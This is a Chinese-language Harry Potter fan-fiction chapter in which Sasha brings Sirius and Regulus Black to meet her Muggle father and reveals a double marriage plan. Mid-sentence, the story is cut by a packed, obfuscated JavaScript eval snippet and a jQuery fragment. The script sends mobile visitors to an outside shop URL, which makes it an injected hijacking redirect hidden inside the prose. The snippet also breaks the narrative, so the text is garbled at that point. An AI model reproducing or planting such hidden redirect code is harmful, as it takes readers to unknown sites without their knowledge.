复活节假期的伦敦，天空是一种介于灰和白之间的颜色，像一块被水洗了太多次的旧亚麻布。泰晤士迪顿的街道上，水仙花开了。金黄色的花簇在人行道两旁零零散散地站着，叶子还是深绿色的，花苞刚鼓起来没几天。风从泰晤士河的方向吹过来，带着泥土解冻后潮湿的、混着青草的气息。
萨莎站在公寓门口，等着。她穿着一件奶白色的羊绒开衫，里面是本白色的衬衫，领口系着一条细细的金色锁骨链。下身是一条红棕色的过膝半裙，裙摆不大，走起路来会轻轻晃。脚上是浅米色的芭蕾平底鞋。头发用一枚深色的玳瑁抓夹松松地别在脑后，几缕碎发垂在耳侧。她只在嘴唇上涂了一层薄薄的豆沙色唇釉，整张脸看起来温柔又克制。见父亲艾伦·温斯顿，不需要太隆重，但也不能太随便。
门铃响了。他们到了。萨莎拉开门，西里斯和雷古勒斯站在门口。两个人同时到了，同时按的门铃，也许是约好的，也许只是巧合。萨莎看着他们，眨眨眼。
西里斯穿着一件深灰色的薄呢外套，里面是黑色的高领毛衣，没有打领带。额前的碎发用那条她送的黑色发带拢到后面，露出好看的眉骨和灰色的眼睛。整个人干净利落，但不刻意。
雷古勒斯穿着一件黑色的单排扣外套，里面是同色系的薄毛衣，领口露出白衬衫的一小截。头发比平时稍作打理，看上去干净清爽，几缕落在眉骨上，不凌乱也不过分刻板。
萨莎看着他们，又眨眨眼。两个人都很帅。比平时更帅。但她总觉得有什么地方不太对。太正式了。她只是带他们去见父亲——一个住在伦敦郊区的、普通的、即将退休的麻瓜律师。她没有说。她只是伸出手，左手握住西里斯的手，右手握住雷古勒斯的手。两个人的手指穿过她的手指，掌心贴着她的掌心，十指交握。她拉着他们走进公寓，走到壁炉前。飞路粉在壁炉台上的铁盒里，亮绿色的，细碎的，在掌心闪着光。
“我父亲家在萨里郡。不是魔法住宅，是普通的麻瓜房子。壁炉没有连接到飞路网，但我在家里留了一个临时的连接点。只能今天用，用完就关。”她松开他们的手，从铁盒里抓了一把飞路粉。“我先过去。你们跟上来。一个一个来。不要同时。”
她把飞路粉扔进壁炉，绿色的火焰腾起来。“萨里郡，温斯顿宅。”她走进火焰。绿色的火焰吞没了她。
西里斯和雷古勒斯对视了一秒，然后西里斯抓了一把飞路粉，扔进壁炉。“萨里郡，温斯顿宅。”他走进火焰。雷古勒斯抓了一把飞路粉，扔进壁炉。“萨里郡，温斯顿宅。”他走进火焰。
萨莎从壁炉里走出来的时候，客厅里已经有人了。她的父亲艾伦·温斯顿坐在沙发上，灰色的头发，黑色的眼睛——和萨莎一样的黑色眼睛。他穿着一件深蓝色的毛衣，里面是白衬衫，领口没有系扣子。他的膝盖上放着一本翻了一半的侦探小说。他看到萨莎从壁炉里走出来，把书放下，站起来。
“萨莎。”他的声音不高不低，带着一种律师特有的、不急不躁的沉稳。
萨莎走过去，抱了他一下。“爸爸。”她松开他，转向壁炉。西里斯从绿色的火焰中走出来，拍了拍西装外套上的灰。雷古勒斯也从绿色的火焰中走出来。两个人并排站在壁炉前。
萨莎走到他们旁边，先转向西里斯。“爸爸，这是西里斯·布莱克。你见过的。六年级暑假，他去德国，在我们家住过。”
艾伦看着西里斯，黑色的眼睛里带着暖意——他记得这个男孩。“西里斯，欢迎。”他伸出手，西里斯握住了。
萨莎转向雷古勒斯。“爸爸，这是雷古勒斯·布莱克。西里斯的弟弟。我和他在德国魔法界订了婚。”
艾伦看着雷古勒斯。黑色的眼睛里带着温和的好奇——他听说过这个男孩。他伸出手，雷古勒斯握住了。他握了一下，松开。“雷古勒斯，欢迎。”
萨莎的姑姑玛格丽特和姑父理查德从厨房里走出来。玛格丽特比萨莎的母亲矮，比萨莎的母亲胖，笑起来的时候眼睛会眯成两条缝。她穿着一件浅紫色的毛衣，围裙还没有解下来，手上沾着面粉。理查德跟在她后面，穿着一件格子衬衫，手里端着一盘切好的水果。
“萨莎！”玛格丽特走过来，抱了萨莎一下。她的身上有面粉和黄油的气味，还有一点点她常用的玫瑰香水的气味。
“姑姑，姑父。”萨莎松开她，转向西里斯和雷古勒斯。“这是西里斯·布莱克，这是雷古勒斯·布莱克。”玛格丽特看着西里斯，眼睛眯成了两条缝。“你就是西里斯？萨莎给我们看过你的照片。果然高大帅气。”她转向雷古勒斯。“这个也好看。你们布莱克家的男孩都这么好看吗？”雷古勒斯的耳朵红了。西里斯的嘴角弯了。
“喝茶？”玛格丽特转身走向厨房。“红茶，绿茶，还是咖啡？”
“红茶，谢谢。”西里斯说。
“我也是。”雷古勒斯说。
萨莎说：“咖啡。加奶不加糖。”
他们坐在客厅里。沙发是浅灰色的，很大，可以坐五个人。萨莎坐在中间，西里斯坐在她左边，雷古勒斯坐在她右边。艾伦坐在对面的单人沙发上，玛格丽特和理查德坐在另一侧的双人沙发上。茶几上摆着茶壶、茶杯、咖啡壶、牛奶壶、糖罐，和那盘切好的水果。
“西里斯，”艾伦靠在沙发里，黑色的眼睛看着西里斯，“你今年要毕业了。有什么打算？”
西里斯放下茶杯。“先参加N.E.W.T.考试。然后——也许去世界各地走走。看看不同的地方，不同的巫师，不同的魔法。”
艾伦点了点头。“年轻人，多见见世面是好事。”他看了萨莎一眼。“萨莎小时候，我每年带她去一个不同的国家。法国，意大利，西班牙，希腊。她最喜欢希腊。因为那里的海是蓝色的。不是绿色的，不是灰色的，是蓝色的。”萨莎的嘴角弯了一下。“爸爸，那是我七岁的时候。”
“你七岁的时候，就知道海有不同颜色了。”艾伦也笑了一下。
玛格丽特从沙发上探过身，看着雷古勒斯。“雷古勒斯，你和萨莎订婚了？”雷古勒斯放下茶杯。“是的。”
“什么时候的事？”
“今年三月。魔法契约签了。德国的报纸也登了。”
玛格丽特点了点头。“那你们什么时候结婚？”
萨莎的手指在咖啡杯的杯沿上停了一下。“按照契约，魔法界成年是十七岁。雷古勒斯的生日在八月，还有几个月就成年了。那个时候，魔法契约会自动生效。”
玛格丽特看着她，眼睛眯了一下。“我问的不是契约什么时候生效。我问的是——你们什么时候举办婚礼仪式？”
萨莎的手指在咖啡杯的杯沿上又停了一下。她张了张嘴，没有说出话。她不是没有想过这个问题，她只是——还没有想好。什么时候办婚礼？在哪里办？在德国办，在英国办，还是在魔法界办？请谁？不请谁？她还没有想好。
她从来没有想过自己会这么早结婚。她以为自己会先读完书，先做几年研究，先发表几篇论文，然后再考虑婚姻。但雷古勒斯等不了。她等得了，他等不了。所以她签了契约。但婚礼——她还没有准备好。
雷古勒斯看着她。她的手指在咖啡杯的杯沿上停着，没有动。她的表情是平静的，但他知道她在想什么。她在想——她还没有准备好。他的心里有一个地方微微沉了一下。不是失望，不是伤心，而是一种很安静的、又心疼又酸涩的感觉。他替她回答了。
“我们还在读书。婚礼——可能再过一段时间。”
萨莎看了他一眼，目光里带着歉意。雷古勒斯看到了，嘴角弯了一下——不是笑，而是很温柔的、像“没关系”的弧度。
玛格丽特点了点头，没有追问。理查德他看着西里斯，又看着雷古勒斯。“你们两个是兄弟？”西里斯和雷古勒斯同时应了一声。理查德点了点头。“长得像。眼睛像。鼻子像。但气质不一样。”他看了西里斯一眼。“你更张扬。”又看了雷古勒斯一眼。“你更安静。”
艾伦从沙发上直起身，看着西里斯。“西里斯，你当时来我们家的时候，我还以为你和萨莎将来会在一起。”他的声音不高不低，带着一种“我只是随口说说”的随意。
西里斯看向萨莎。萨莎也看着他。两个人的目光在空气中碰了一下。西里斯把目光从萨莎身上移开，转向艾伦。他的嘴角弯了一下——不是笑，而是一种更复杂的、带着一点得意的、又温柔又克制的意味。
“萨莎还没有告诉你——我们的事。”
萨莎头皮发麻。她端起咖啡杯，喝了一口。咖啡是热的，她的脸也是热的。她放下咖啡杯，硬着头皮看着艾伦。“爸爸，我也准备——以你的姓氏——和西里斯登记结婚。”
客厅里安静了一瞬。玛格丽特放下茶杯，眼睛亮了一下。艾伦看着她，看了两秒。他的黑色眼睛里带着惊讶，也有惊喜——但更多的是“你说什么”的不可思议。
“以我的姓氏？”
萨莎点了一下头。“你是麻瓜。西里斯是巫师。魔法界的婚姻和麻瓜界的婚姻不互通。在魔法界，我和雷古勒斯订婚了。在麻瓜界——我可以和西里斯登记结婚。用你的姓氏。温斯顿。”
艾伦看着她，又看着西里斯，又看着雷古勒斯。他的目光在两个男孩之间来回移动了一下，然后在西里斯身上停住了。
“你愿意改我的姓？”
西里斯看着艾伦。灰色的眼睛对黑色的眼睛——和萨莎一样的黑色。他笑了一下。“我愿意。”
艾伦看着他，看了很久。然后他笑了，笑得挺简单的，嘴唇一弯，眼角挤出几道细纹——不夸张，就是高兴。他站起来，走到西里斯面前，伸出手。西里斯也站起来，握住了他的手。他握了两下，力度不大，然后松开，拍了拍西里斯的肩膀。
玛格丽特从沙发上站起来，走到萨莎面前，抱了她一下。“萨莎，你——你真是——”她没有找到合适的词。她只是抱了抱她，松开，又抱了抱。
理查德从水果盘里又拿了一块苹果，咬了一口，嚼了嚼，咽下去。“一个德国魔法界的丈夫，一个英国麻瓜界的丈夫。萨莎，你比你爸爸会安排。”
萨莎的嘴角弯了一下，像是在说“我也没想到会这样”的、又无奈又好笑。
她看着西里斯，又看着雷古勒斯。两个人都在看她。西里斯的灰色眼睛里烧着东西，又亮又烈。雷古勒斯的灰色眼睛里带着一丝失落，安静的，藏在眼底，不吵不闹，但让人心疼。西里斯在挑眉——那个弧度不是生气，是在说“你没告诉你父亲？你打算把我藏到什么时候？”带着一点攻击性，像是要看她怎么收场。雷古勒斯太安静了，安静到像是在说“你还没有想好婚礼的事，你还没有准备好”。萨莎的头皮又麻了一下。她站起来。
“我去看看汤。”她逃了。
晚餐在餐厅里。长桌上铺着白色的桌布，摆着银色的麻瓜烛台。蜡烛是白色的，火焰在微风中轻轻晃动。艾伦坐在桌子的一端，玛格丽特和理查德坐在一侧，萨莎坐在另一侧，西里斯坐在她左边，雷古勒斯坐在她右边。佣人从厨房里端出一道又一道菜。烤牛肉，约克郡布丁，烤土豆，胡萝卜，豌豆，肉汁。不是法式的，不是德式的，是英式的。
“雷尔，西里斯，你们尝尝。我从小到大最喜欢吃的，就是我爸爸做的菜。”
西里斯看着桌上的烤牛肉，又看着艾伦。“你做的？”雷古勒斯也看着艾伦，灰色的眼睛微微睁大了。
艾伦看着他们惊讶的表情，笑了一下。“麻瓜没有家养小精灵。想吃什么，自己做。或者花钱请人做。”他切了一块烤牛肉，放进嘴里，嚼了嚼，咽下去。“我更喜欢自己做。”
西里斯拿起刀叉，切了一块烤牛肉放进嘴里，嚼了嚼，眼睛亮了一下——不是客套的“好吃”，是真的好吃。他又切了一块。雷古勒斯也切了一块，尝了一口，随即也伸出了叉子。
萨莎看着他们吃，心里涌起一股暖意。又感动，又骄傲，而是——我爸爸做的菜，他们也喜欢吃。
艾伦放下刀叉，看着萨莎。“你暑假什么时候去德国？”
萨莎放下叉子。“原本过几天就准备回去。但——”她看了雷古勒斯一眼。“雷古勒斯的生日在八月。我想等过了他的生日再走。”
她在想另一件事。他的生日。成年。神秘人会不会利用这个机会？她低下头，切了一块烤土豆，放进嘴里。她的话没有说死。“原本过几天就准备回去”——她随时可以改主意。“想等过了他的生日再走”——不是“一定等过了他的生日再走”。她在给自己留余地。雷古勒斯没有注意到。西里斯注意到了。他看着萨莎的侧脸，挑了挑眉。她的表情是平静的，但她的手指在刀叉上比平时握得更紧。他看了两秒，然后低下头，继续吃烤牛肉。
玛格丽特放下刀叉，看着萨莎。“萨莎，你小时候有一次——”
萨莎的嘴角弯了一下。“姑姑，不要说。”
玛格丽特没有理她。“她五岁的时候，非要自己切蛋糕。我们给了她一把塑料刀，她不肯，非要真刀。她爸爸给了她一把小刀，她切了半天，切不动，生气了，把刀一扔，说‘这个蛋糕不听话’。”
大家都笑了。
玛格丽特又讲了一个。“她七岁的时候，她爸爸带她去希腊。她在海边捡了一块石头，非要带回家。她爸爸说‘这块石头很普通，回家再捡’。她说‘这块石头不一样，它在希腊待了很久，它想家了’。”萨莎低下头，看着盘子里的菜。她的耳朵红了。雷古勒斯看着她红了的耳朵，嘴角也弯了。
艾伦也讲了一个。“她十岁的时候，我教她下棋。她输了，不服气，非要再下一盘。又输了，又非要再下一盘。连输了七盘，她哭了。我说‘下棋有输有赢，没关系’。她说‘我不是因为输了哭。我是因为不知道自己为什么会输’。”他看着萨莎，黑色的眼睛里的笑意放得更柔了——你从小就很认真。
萨莎看着爸爸，她的黑色眼睛里带着感动——他还记得。她低下头，继续吃烤土豆。土豆是热的。她的心也是热的。
晚餐在笑声中结束了。佣人收了盘子，玛格丽特端来了甜点——苹果派，热的，配着香草冰淇淋。
晚餐后的客厅比之前更安静了。玛格丽特在厨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575275|204995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
房里收拾，理查德在一旁帮忙，碗碟碰撞的声音和水声从门缝下面传出来，像一首遥远的、听不清歌词的歌。萨莎坐在沙发上，手里端着咖啡杯，但她的目光不在杯子里。她在看父亲。他站起来，走到西里斯面前。
“西里斯，你跟我来一下。书房。”
西里斯放下茶杯，站起来。他的动作很自然，没有犹豫，没有紧张，只是站起来，像一个被长辈叫去谈话的年轻人应该有的样子。他看了萨莎一眼，那个眼神的意思是：你父亲找我，没事。萨莎看了他一眼，那个眼神的意思是：我知道。西里斯跟着艾伦走出了客厅。
书房在走廊的尽头，是一间不大的房间。一面墙是书柜，从地板到天花板，塞满了法律书籍和侦探小说。另一面墙上挂着一张世界地图，边缘已经泛黄了，几个图钉把地图的四个角钉在墙上，有一个角松了，垂下来。书桌上放着一盏铜质的台灯，灯罩是绿色的，玻璃的，打开的时候会发出柔和的、像森林深处的苔藓一样的绿光。萨莎的父亲把门关上，走到书桌后面，坐下，指了指对面的椅子。
“坐。”
西里斯坐下来。椅子是木头的，硬质的，没有软垫，但他坐得很稳。他的脊背挺直，双手放在膝盖上，灰色的眼睛看着艾伦。艾伦靠在椅背里，看着西里斯。
“西里斯，我知道我女儿性格比较强势。她可能有些事情——很少沟通，就自己下了主意。希望你能谅解。”
西里斯看着他。“她不需要我谅解。她总是对的。”
艾伦看着他，看了两秒。然后他笑了，不是客套，是真的觉得这个男孩还不错。他站起来，走到书柜前，从最下面一层抽出一个文件夹。不是魔法文件，是麻瓜的文件——白色的A4纸，黑色的字，右上角订着一个小号的订书钉。他把文件夹放在桌上，推到西里斯面前。
“这是我们家的产业。不多。在英国麻瓜界，只能算中上阶层。你既然将来要改我的姓氏，我也会把你当做我真正的儿子。这些东西，成婚之后，自然会由你和萨沙一同打理。提前跟你说，让你有个心理准备。”
西里斯低下头，看着那份文件。一页一页地翻。不是在看数字，而是在看——她的父亲在做这件事。不是在说“你要继承我的财产”，而是在说“我把你当儿子”。他看得很认真。每一页都看了，每一个数字都看了，每一行字都看了。不是因为他需要知道这些数字，而是因为她父亲在信任他。他抬起头，看着艾伦。
“谢谢您。”他说。声音很低，像是喉咙被什么东西堵住了。
艾伦看着他的眼睛，看了很久。然后他叹了口气。
“西里斯，我从你和雷古勒斯的着装、谈吐看得出来。你们的家世比我这边好得多。我这边——不如萨莎母亲那边的亲戚显赫。这只是我作为一个父亲的用心。希望你能谅解。”
西里斯看着他，站起来，走到艾伦面前，伸出手。握住了萨莎父亲的手。两只手握在一起，一只年轻，一只不再年轻。
“您不用给我看这些。您给我看这些，不是因为您需要我知道这些数字。是因为您把我当儿子。我明白。”他顿了一下。“我会好好对待萨莎。”
艾伦看着他，他笑了，带着一丝释然的、又欣慰又感动。他拍了拍西里斯的手背。
“好。好。”
客厅里，萨莎端着咖啡杯，但她的目光不在杯子里。她在看书房的门。门关着，什么声音也没有。雷古勒斯坐在她旁边，灰色的眼睛也看着书房的门。玛格丽特从厨房里走出来，端着一盘新的饼干，放在茶几上。
“萨莎，你爸爸和西里斯在聊什么？”
萨莎放下咖啡杯。“不知道。”
玛格丽特没有再问。她坐回沙发上，拿起自己的茶杯，喝了一口。理查德从厨房里走出来，手里端着一壶新泡的红茶，把茶壶放在茶几上，也在沙发上坐下。四个人坐在客厅里，等着。
玛格丽特的目光转向雷古勒斯。“你呢？毕业以后有什么打算？”
雷古勒斯放下茶杯。“先完成这边的学业。毕业后——可能会留在德国。萨莎帮林德纳家族打理产业，我也得学着接手一些事情。”
玛格丽特看了萨莎一眼，嘴角弯了一下。“你们俩倒是分工明确。”
理查德从水果盘里又拿了一块苹果，咬了一口。“德国人做事认真。你去那边，不会错的。”
雷古勒斯点了点头，没再多说。
书房的门开了。西里斯从门内走出来，艾伦跟在他后面。两个人的表情都很平静，但西里斯的眼睛不一样了，眼眶微微泛红，不是哭，就是湿了一点。他走过来，在萨莎旁边坐下。萨莎看着他，低声问：“聊什么了？”
艾伦走回自己的座位，坐下，端起茶杯，喝了一口。“就是嘱咐了几句而已。”
萨莎看着西里斯。西里斯看着她，嘴角弯了一下。“你爸爸很好。”
萨莎看着他，看了两秒。她知道了。不是知道他们聊了什么，而是知道——他被打动了。她伸出手，在他的手背上轻轻握了一下。很短，短到也许只有他一个人能感觉到。
时间过得很快。窗外的天色从灰变成了黑。萨莎放下咖啡杯，站起来。
“爸爸，姑姑，姑父，我们该回去了。”
玛格丽特从沙发上站起来，走到萨莎面前，抱了她一下。“下次带他们来，住几天。”萨莎点了一下头。“好。”
理查德也站起来，拍了拍西里斯的肩膀，又拍了拍雷古勒斯的肩膀。“下次来，我给你们做别的好吃的。”西里斯说：“好。”雷古勒斯说：“好。”
艾伦走到壁炉前，看着那堆已经快灭了的火。他转过身，看着西里斯和雷古勒斯。
“你们不留宿一晚？萨莎的房间——床很大。”
萨莎瞪大了眼。“爸爸！”
艾伦看着她，嘴角弯了一下。“我说的是实话。她的床确实很大。小时候买的，一米八。她说她要滚来滚去。”萨莎的脸红了，西里斯和雷古勒斯看着她红了的脸，两个人的嘴角都弯了。萨莎咬了咬牙，走到西里斯面前，拉住他的手，又走到雷古勒斯面前，拉住他的手，把两个人拽到壁炉前。
“走。现在。马上。”
她从铁盒里抓了一把飞路粉，扔进壁炉。绿色的火焰腾起来。“泰晤士迪顿，林德纳公寓。”她走进火焰。西里斯和雷古勒斯对视了一眼，两个人笑了一下——不是笑话她，是那种“她居然也会害羞”的、带着点宠又带着点心软的笑。西里斯走进火焰，雷古勒斯也走进了火焰。绿色的火焰吞没了他们。
客厅里只剩下三个人。
“她会处理好的。”艾伦说。声音放得很轻，像怕惊动什么。不是对任何人说的，是对自己说的。他靠在沙发里，看着壁炉里的灰烬。灰烬是灰色的，冷的，不会再燃烧了。但他的心不是灰烬。他的心里有火。那团火的名字叫——我女儿有人爱了。不止一个。
“这丫头，随我。”
玛格丽特看着他。“随你？你当年也同时追两个？”
艾伦没有回答。他只是端起空茶杯，又看了一眼，然后放下了。